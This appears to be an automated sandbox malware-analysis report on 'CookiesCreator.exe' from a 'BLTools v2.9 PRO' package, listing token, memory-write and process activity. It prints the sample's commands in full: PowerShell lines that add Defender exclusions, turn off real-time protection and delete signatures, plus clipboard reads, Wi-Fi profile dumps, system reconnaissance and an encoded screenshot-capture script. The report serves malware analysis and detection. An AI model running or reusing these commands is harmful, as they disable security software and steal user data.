Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3464 wrote to memory of 2984 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe
PID 3464 wrote to memory of 2984 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe
PID 2984 wrote to memory of 4248 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 4248 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 4148 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 4148 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 4664 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 4664 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 4248 wrote to memory of 1712 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4248 wrote to memory of 1712 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2984 wrote to memory of 2428 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 2428 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 1432 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 1432 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 1664 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 1664 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 1384 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 1384 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 3832 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 3832 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 4508 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 4508 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 4580 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 4580 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 2736 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 2736 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 1432 wrote to memory of 2912 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1432 wrote to memory of 2912 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2428 wrote to memory of 4360 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2428 wrote to memory of 4360 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2596 wrote to memory of 3616 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2596 wrote to memory of 3616 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4664 wrote to memory of 4276 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\bound.exe
PID 4664 wrote to memory of 4276 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\bound.exe
PID 4664 wrote to memory of 4276 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\bound.exe
PID 1384 wrote to memory of 4912 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1384 wrote to memory of 4912 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4508 wrote to memory of 3716 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 4508 wrote to memory of 3716 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 2184 wrote to memory of 3008 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2184 wrote to memory of 3008 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4148 wrote to memory of 452 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4148 wrote to memory of 452 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4580 wrote to memory of 208 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 4580 wrote to memory of 208 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 1664 wrote to memory of 1148 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1664 wrote to memory of 1148 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3832 wrote to memory of 1932 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3832 wrote to memory of 1932 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 2736 wrote to memory of 4000 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2736 wrote to memory of 4000 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2984 wrote to memory of 2932 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 2932 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2932 wrote to memory of 1812 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 2932 wrote to memory of 1812 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 2984 wrote to memory of 1792 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 1792 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe
PID 1792 wrote to memory of 4472 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Conhost.exe
PID 1792 wrote to memory of 4472 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Conhost.exe
PID 2984 wrote to memory of 1308 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe

"C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe"

C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe

"C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "start bound.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe'

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profile"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Users\Admin\AppData\Local\Temp\bound.exe

bound.exe

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\netsh.exe

netsh wlan show profile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAK